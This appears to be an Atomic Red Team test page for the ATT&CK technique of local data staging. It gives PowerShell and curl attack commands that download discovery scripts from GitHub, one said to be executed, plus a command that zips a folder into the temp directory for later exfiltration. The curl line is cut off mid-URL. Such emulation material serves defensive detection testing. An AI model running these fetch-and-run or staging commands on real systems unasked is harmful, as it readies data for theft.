

125 lines (61 loc) · 3.6 KB

# T1074.001 - Local Data Staging

## Description from ATT&CK

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](<https://attack.mitre.org/techniques/T1560>). Interactive command shells may be used, and common functionality within [cmd](<https://attack.mitre.org/software/S0106>) and bash may be used to copy data into a staging location.

Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)

## Atomic Tests

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## Atomic Test #1 - Stage data from Discovery.bat

Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution, verify that the file is saved in the temp directory.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 107706a5-6f9f-451a-adae-bab8c667829f

**Inputs:**

Name	Description	Type	Default Value
output_file	Location to save downloaded discovery.bat file	Path	\$env:TEMP\discovery.bat

**Attack Commands:** Run with `powershell` !

```
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/main/atomics/T1074.001/Discovery.bat" -OutFile $env:TEMP\discovery.bat
```

**Cleanup Commands:**

```
Remove-Item -Force $env:TEMP\discovery.bat -ErrorAction Ignore
```

## Atomic Test #2 - Stage data from Discovery.sh

Utilize curl to download discovery.sh and execute a basic information gathering shell script

**Supported Platforms:** Linux, macOS

**auto\_generated\_guid:** 39ce0303-ae16-4b9e-bb5b-4f53e8262066

Inputs:

Name	Description	Type	Default Value
output_file	Location to save downloaded discovery.bat file	Path	/tmp/T1074.001_discovery.log

Attack Commands: Run with `bash` !

```
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomic
```

## Atomic Test #3 - Zip a Folder with PowerShell for Staging in Temp

Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder\_to\_zip.zip was placed in the temp directory.

Supported Platforms: Windows

auto\_generated\_guid: a57fbe4b-3440-452a-88a7-943531ac872a

Inputs:

Name	Description	Type	Default Value
output_file	Location to save zipped file or folder	Path	\$env:TEMP\Folder_to_zip.zip
input_file	Location of file or folder to zip	Path	PathToAtomicsFolder\T1074.001\bin\Folder_to_zip

Attack Commands: Run with `powershell` !

```
Compress-Archive -Path #{input_file} -DestinationPath #{output_file} -Force
```

Cleanup Commands:

```
Remove-Item -Path #{output_file} -ErrorAction Ignore
```

